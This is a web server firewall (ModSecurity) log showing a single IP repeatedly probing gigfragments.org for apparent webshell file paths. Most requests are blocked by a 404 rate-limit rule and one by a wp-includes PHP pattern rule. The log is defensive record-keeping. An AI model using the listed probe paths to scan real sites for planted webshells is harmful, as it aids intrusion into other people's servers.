[Mon Mar 30 03:46:41.787501 2026] [:error] [pid 4033:tid 4076] [client 51.120.74.80:42793] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "acmBoanf-DXI9VblHi0WWAAAABc"]
[Mon Mar 30 03:46:42.485919 2026] [:error] [pid 4033:tid 4071] [client 51.120.74.80:30696] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "acmBoqnf-DXI9VblHi0WYQAAABI"]
[Mon Mar 30 03:46:43.182397 2026] [:error] [pid 4040:tid 4115] [client 51.120.74.80:33561] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "acmBowxlbJV8kpOpFvY6RQAAAIc"]
[Mon Mar 30 03:46:43.796986 2026] [:error] [pid 55884:tid 55977] [client 51.120.74.80:38211] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "acmBozjuYLVkve3VbhxdEwAAARg"]
[Mon Mar 30 03:46:44.449046 2026] [:error] [pid 4034:tid 4082] [client 51.120.74.80:37391] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "acmBpLfAq8eF_uU4gu2BvgAAAEE"]
[Mon Mar 30 03:46:45.117152 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:33550] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "acmBpanf-DXI9VblHi0WcQAAAAE"]
[Mon Mar 30 03:46:45.791973 2026] [:error] [pid 4139:tid 4156] [client 51.120.74.80:4338] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "acmBpYYyhg47TZoaP9LubAAAAMk"]
[Mon Mar 30 03:46:46.404835 2026] [:error] [pid 55884:tid 55970] [client 51.120.74.80:36769] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "acmBpjjuYLVkve3VbhxdIQAAARE"]
[Mon Mar 30 03:46:47.155095 2026] [:error] [pid 4033:tid 4061] [client 51.120.74.80:4680] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "acmBp6nf-DXI9VblHi0WgwAAAAg"]
[Mon Mar 30 03:46:47.757497 2026] [:error] [pid 4033:tid 4077] [client 51.120.74.80:4549] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "acmBp6nf-DXI9VblHi0WjAAAABg"]
[Mon Mar 30 03:46:48.541550 2026] [:error] [pid 4033:tid 4057] [client 51.120.74.80:37997] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "acmBqKnf-DXI9VblHi0WlgAAAAQ"]
[Mon Mar 30 03:46:49.199855 2026] [:error] [pid 4034:tid 4086] [client 51.120.74.80:19764] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "acmBqbfAq8eF_uU4gu2BzAAAAEU"]
[Mon Mar 30 03:46:49.935394 2026] [:error] [pid 4033:tid 4062] [client 51.120.74.80:42272] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acmBqanf-DXI9VblHi0WqgAAAAk"]
[Mon Mar 30 03:46:50.555168 2026] [:error] [pid 4034:tid 4094] [client 51.120.74.80:30658] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acmBqrfAq8eF_uU4gu2BzwAAAE0"]
[Mon Mar 30 03:46:51.151629 2026] [:error] [pid 4040:tid 4117] [client 51.120.74.80:50554] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acmBqwxlbJV8kpOpFvY6XgAAAIk"]
[Mon Mar 30 03:46:51.825772 2026] [:error] [pid 4033:tid 4060] [client 51.120.74.80:36766] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acmBq6nf-DXI9VblHi0WugAAAAc"]
[Mon Mar 30 03:46:52.422254 2026] [:error] [pid 4034:tid 4088] [client 51.120.74.80:37970] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-2.php"] [unique_id "acmBrLfAq8eF_uU4gu2B2wAAAEc"]
[Mon Mar 30 03:46:53.017434 2026] [:error] [pid 4040:tid 4122] [client 51.120.74.80:42289] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-2.php"] [unique_id "acmBrQxlbJV8kpOpFvY6YAAAAI4"]
[Mon Mar 30 03:46:53.645318 2026] [:error] [pid 55884:tid 55967] [client 51.120.74.80:38310] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-2.php"] [unique_id "acmBrTjuYLVkve3VbhxdNQAAAQ4"]
[Mon Mar 30 03:46:54.188897 2026] [:error] [pid 55884:tid 55955] [client 51.120.74.80:45289] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-2.php"] [unique_id "acmBrjjuYLVkve3VbhxdOgAAAQI"]
[Mon Mar 30 03:46:54.798623 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:38310] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acmBrqnf-DXI9VblHi0WzQAAAAA"]
[Mon Mar 30 03:46:55.472366 2026] [:error] [pid 4033:tid 4059] [client 51.120.74.80:47264] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acmBr6nf-DXI9VblHi0W0wAAAAY"]
[Mon Mar 30 03:46:56.095727 2026] [:error] [pid 55884:tid 55954] [client 51.120.74.80:30664] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acmBsDjuYLVkve3VbhxdRQAAAQE"]
[Mon Mar 30 03:46:56.761384 2026] [:error] [pid 4139:tid 4163] [client 51.120.74.80:19761] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acmBsIYyhg47TZoaP9LuigAAANA"]
[Mon Mar 30 03:46:57.380255 2026] [:error] [pid 4034:tid 4097] [client 51.120.74.80:30703] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "acmBsbfAq8eF_uU4gu2B8wAAAFA"]
[Mon Mar 30 03:46:57.980313 2026] [:error] [pid 4034:tid 4103] [client 51.120.74.80:50401] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "acmBsbfAq8eF_uU4gu2B9QAAAFY"]
[Mon Mar 30 03:46:58.645728 2026] [:error] [pid 4033:tid 4072] [client 51.120.74.80:38317] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "acmBsqnf-DXI9VblHi0W5AAAABM"]
[Mon Mar 30 03:46:59.309380 2026] [:error] [pid 55884:tid 55969] [client 51.120.74.80:48966] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "acmBszjuYLVkve3VbhxdXAAAARA"]
[Mon Mar 30 03:46:59.878571 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:44171] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "acmBszjuYLVkve3VbhxdXgAAARQ"]
[Mon Mar 30 03:47:00.469738 2026] [:error] [pid 4033:tid 4069] [client 51.120.74.80:45273] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "acmBtKnf-DXI9VblHi0W9AAAABA"]
[Mon Mar 30 03:47:01.218138 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:22804] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "acmBtanf-DXI9VblHi0XAAAAABQ"]
[Mon Mar 30 03:47:01.831202 2026] [:error] [pid 4033:tid 4064] [client 51.120.74.80:51037] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "acmBtanf-DXI9VblHi0XBwAAAAs"]
[Mon Mar 30 03:47:02.530083 2026] [:error] [pid 4033:tid 4060] [client 51.120.74.80:51061] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "acmBtqnf-DXI9VblHi0XEAAAAAc"]
[Mon Mar 30 03:47:03.327797 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:50821] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "acmBt6nf-DXI9VblHi0XGgAAAA4"]
[Mon Mar 30 03:47:04.058071 2026] [:error] [pid 4139:tid 4153] [client 51.120.74.80:45265] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "acmBuIYyhg47TZoaP9LulgAAAMY"]
[Mon Mar 30 03:47:04.790177 2026] [:error] [pid 4033:tid 4068] [client 51.120.74.80:5076] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "acmBuKnf-DXI9VblHi0XKwAAAA8"]
[Mon Mar 30 03:47:05.577011 2026] [:error] [pid 4139:tid 4148] [client 51.120.74.80:35899] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBuYYyhg47TZoaP9LungAAAME"]
[Mon Mar 30 03:47:06.195439 2026] [:error] [pid 4139:tid 4169] [client 51.120.74.80:4266] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBuoYyhg47TZoaP9LuowAAANY"]
[Mon Mar 30 03:47:06.796465 2026] [:error] [pid 55884:tid 55954] [client 51.120.74.80:5097] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBujjuYLVkve3VbhxdegAAAQE"]
[Mon Mar 30 03:47:07.600760 2026] [:error] [pid 55884:tid 55964] [client 51.120.74.80:23937] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBuzjuYLVkve3VbhxdewAAAQs"]
[Mon Mar 30 03:47:08.167821 2026] [:error] [pid 55884:tid 55956] [client 51.120.74.80:45196] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBvDjuYLVkve3VbhxdgAAAAQM"]
[Mon Mar 30 03:47:08.813106 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:49139] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBvKnf-DXI9VblHi0XPQAAABQ"]
[Mon Mar 30 03:47:09.463056 2026] [:error] [pid 55884:tid 55966] [client 51.120.74.80:5078] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBvTjuYLVkve3VbhxdjAAAAQ0"]
[Mon Mar 30 03:47:10.065649 2026] [:error] [pid 4034:tid 4097] [client 51.120.74.80:4259] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acmBvrfAq8eF_uU4gu2CDAAAAFA"]
[Mon Mar 30 03:47:10.716283 2026] [:error] [pid 55884:tid 55959] [client 51.120.74.80:46789] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBvjjuYLVkve3VbhxdlgAAAQY"]
[Mon Mar 30 03:47:11.414279 2026] [:error] [pid 4139:tid 4161] [client 51.120.74.80:4277] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBv4Yyhg47TZoaP9LuvgAAAM4"]
[Mon Mar 30 03:47:12.024169 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:34684] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBwKnf-DXI9VblHi0XTwAAAA4"]
[Mon Mar 30 03:47:12.601696 2026] [:error] [pid 4139:tid 4148] [client 51.120.74.80:5108] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBwIYyhg47TZoaP9LuyQAAAME"]
[Mon Mar 30 03:47:13.140957 2026] [:error] [pid 4139:tid 4150] [client 51.120.74.80:35867] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBwYYyhg47TZoaP9LuygAAAMM"]
[Mon Mar 30 03:47:13.800778 2026] [:error] [pid 4139:tid 4155] [client 51.120.74.80:29200] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBwYYyhg47TZoaP9Lu0AAAAMg"]
[Mon Mar 30 03:47:14.506291 2026] [:error] [pid 4033:tid 4058] [client 51.120.74.80:5107] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBwqnf-DXI9VblHi0XawAAAAU"]
[Mon Mar 30 03:47:15.133041 2026] [:error] [pid 4034:tid 4082] [client 51.120.74.80:49439] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/output.php"] [unique_id "acmBw7fAq8eF_uU4gu2CEgAAAEE"]
[Mon Mar 30 03:47:15.741891 2026] [:error] [pid 4034:tid 4084] [client 51.120.74.80:49424] [client 51.120.74.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "acmBw7fAq8eF_uU4gu2CFQAAAEM"]
[Mon Mar 30 03:47:16.514720 2026] [:error] [pid 4040:tid 4122] [client 51.120.74.80:34683] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "acmBxAxlbJV8kpOpFvY6lgAAAI4"]
[Mon Mar 30 03:47:17.186174 2026] [:error] [pid 4033:tid 4063] [client 51.120.74.80:29246] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "acmBxanf-DXI9VblHi0XgQAAAAo"]
[Mon Mar 30 03:47:17.824430 2026] [:error] [pid 55884:tid 55959] [client 51.120.74.80:21877] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "acmBxTjuYLVkve3VbhxdpwAAAQY"]
[Mon Mar 30 03:47:18.493362 2026] [:error] [pid 4033:tid 4059] [client 51.120.74.80:41245] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "acmBxqnf-DXI9VblHi0XigAAAAY"]
